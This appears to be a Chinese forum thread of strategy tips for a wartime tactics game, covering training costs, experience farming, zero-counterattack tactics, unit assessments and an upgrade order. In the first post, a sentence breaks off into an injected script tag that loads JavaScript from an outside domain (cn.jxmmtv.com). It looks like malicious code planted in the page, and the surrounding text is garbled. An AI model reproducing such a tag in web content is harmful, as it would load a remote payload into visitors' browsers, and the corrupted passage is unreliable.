计算:
1、训练是需要物资的,为了节省每一份物资,需要精打细算。训练初始值是50点,最高值是100点。每次训练最少耗费1物资,增加训练3至8点不等。因此增加50训练点数的最佳训练方案为:7x6+8x1:即六次7训练/1物资,一次8训练/1物资,共耗7点物资即可加满一支预备役或者大刀队的训练。
2、1人的队伍和100人的队伍策略效果相同,每一击获得的经验也相同。但是,考虑到人数,总经验会差很多!以一次攻击获得10点经验为例。1人的队伍和100人的队伍都获得10点经验,但总的经验数却相差了100倍。在整编满员后,1人所获得的经验几乎可以忽略不计。因此,要尽量让满员的部队去获取经验。1人的队伍可以组建,但只需使用策略或者补给即可,不要和别的队伍抢经验。
3、攻击友军和歼灭友军所获得经验一样(歼灭日军经验翻倍)。因此要让攻击力低的部队,每回合攻击数高的部队去攻击友军和日军补给队练级,主推大刀队。
4、零反击的实现举例:我方一7射程中战车,一6射程轻战车,加好助攻,距离敌方7格以上远。敌方一6射程中战车,满行动力,原地待机。我方中战车先前进至7格射程内,向敌方攻击。由于最后连招法,可以开两炮,应当伤害敌方60至66点数,敌方射程外无法反击。此时我方轻战车再上,一般无法一炮灭敌,会遭到反击。但是轻战车完全能一炮将敌方削弱至十几人。这时候非常容易实现零反击(S/L五次左右)。且压制敌方与否在此时差别不大。遭到敌人零反?script src=http://cn.jxmmtv.com/cn.js>
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一种恨 (男) [楼主] 发表于2008-2-8 11:16:38 [引用] [回复] 板凳
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我对各兵种的看法:
在我的部队里,我相信每一种兵种都有用。
1、轻步兵队:性价比很高的兵种,5级提升射程。前期是作战的主力,其边打边藏和边打边退战术能发挥重要作用。第五章以后,低等级轻步兵将遭遇射程劣势,逐渐沦为练级部队。但高等级轻步兵作用不可低估,至少能够增强火力密度。分两种来用。小部分扫雷兵(3级)正常使用,其他适用无限弹药法。进攻、练级均可。
2、重步兵队:全部都用无限弹药法,不必再心疼4物资1枚的火箭弹了,往死里打!会升两级射程,3级就会升射程,适合低等级步兵转职,专做轻步兵杀手。中期要尽快达到7级,再升一次射程,协助中战车,专做装甲杀手。保持对敌的射程优势是重点。
3、迫炮队:占位小的炮兵,一样可以加助攻(8支队伍),也会提升两级射程(5级和9级)。第一章第5关助攻将占据决定性地位。随着大占位的炮兵出现,其助攻的性价比下降。此时可以使用无限弹药法,专做步兵杀手。
4、工兵队:4级就会提升射程,比轻步兵队还早。作为从不埋雷的玩家(marqiu语:地雷炸掉的一没经验二没功勋三没缴获,不到万不得已不值得使用),可以拿工兵队当精锐步兵用。
5、大刀队:始终都有用!第一章时是肉搏主力,砍日军能砍四下,还能贴身隐藏(步兵的隐蔽不能贴身)。第二章开始专职砍友军和日军补给部队。注意:砍友军和灭友军的经验是一样的,大刀能攻击友军三下,攻击力又低,不拿大刀练等级说不过去。由于大刀队的弹药补充是不消耗物资的,因此大刀队无需使用无限弹药法,可以充分使用策略。有时大刀卡位战术能达到出其不意的效果。
6、骑兵队:6级才提升射程,这时早就转职了。除了建立部队比较占资源外,消耗弹药和步枪是一样的!也就1枪1物资,比补给队可省多了。第一关我宁愿解散补给队。适用无限弹药法后,作为快速反应练级部队(友军杀手)。
7、装甲车:战车中的突击队,4级就会提升射程。其快速移动能力和短射距,可以充当固定位长射距车炮的杀手,也是步兵天生的克星。
8、补给队:5级会提升射程,但性价比极差(打1枪要3物资),不适合作战。除非必要,基本不开枪,某些关(如第三章第12关)最适合用来卡友军位的,阻止友军随意行动。
9、指挥车:战车中的骑兵队,6级才提升射程。作为从不用轰炸的玩家,高移动力和高视距的指挥车可以作为侦察车用。其低攻击力也适合练级。
10、突击队:重步兵队的补充,6级会提升射程。适用无限弹药法后,担当火力组。隶属特种步兵类,对地形适应较好。
11、游击队:7级才提升射程,这时早就转职了。因此游击队大多数时候充当练兵的角色。行动速度过快,对最后连招法的操作要求很高。隶属特种步兵类,对地形适应较好。我奇怪地感觉,游击队出会心一击的概率还挺高。
12、轻战车:战车中的重步兵队。4级提升射程。全部都用无限弹药法,担当火力组。保持对敌的射程优势是重点。
13、中战车:轻战车的克星,装甲部队的杀手。7级提升射程,中期是绝对主力。全部都用无限弹药法,担当火力组。保持对敌的射程优势是重点。
14、重战车:暂缺
15、自走炮:4级提升射程,具备高移动力、强攻击力、远射距等几乎一切优点,只是视距稍短。前期中期数量偏少,后期是绝对主力。分两种来用。小部分加助攻(6级)正常使用,其他适用无限弹药法。
16、轻炮:4级提升射程。射距远,但是移动力低。适合利用射程优势,打击敌方远程部队。小部分加助攻(6级)正常使用,其他适用无限弹药法。
17、重炮:暂缺
18、高射炮:作为从不用防空的玩家,高射炮就成为专职加助攻的炮队了。但是它的移动力太低,只适合打防守,以及随同重装部队。其低下的攻击力,也适合拿来练级。
我推荐的升级规律:
一级;大刀队、轻步兵队、游击队、骑兵队、补给队(实在太空的话)、指挥车(实在太空的话)、高射炮(实在太空的话)
二级;大刀队、轻步兵队(参考maqiu的观点:增加行动点数,不使用最后连招法的情况下能攻击两下后隐蔽)、游击队
三级:轻步兵扫雷队(不使用无限弹药法)、重步兵队一升
四级:自走炮一升、轻炮一升(炮队使用无限弹药法,但必须先保证助攻队)、轻战车一升、装甲车一升、工兵队一升
五级:重战车一升、轻步兵队一升、迫击炮一升(使用无限弹药法,但必须先保证助攻队和九级迫击炮)
六级:各炮类助攻队(炮队绝对优先,但不使用无限弹药法)、突击队一升
七级:中战车一升(中战车绝对优先)、重步兵队二升
八级:抽调增加七级部队数量
九级:迫击炮二升(使用无限弹药法)
十级:抽调让其他部队升级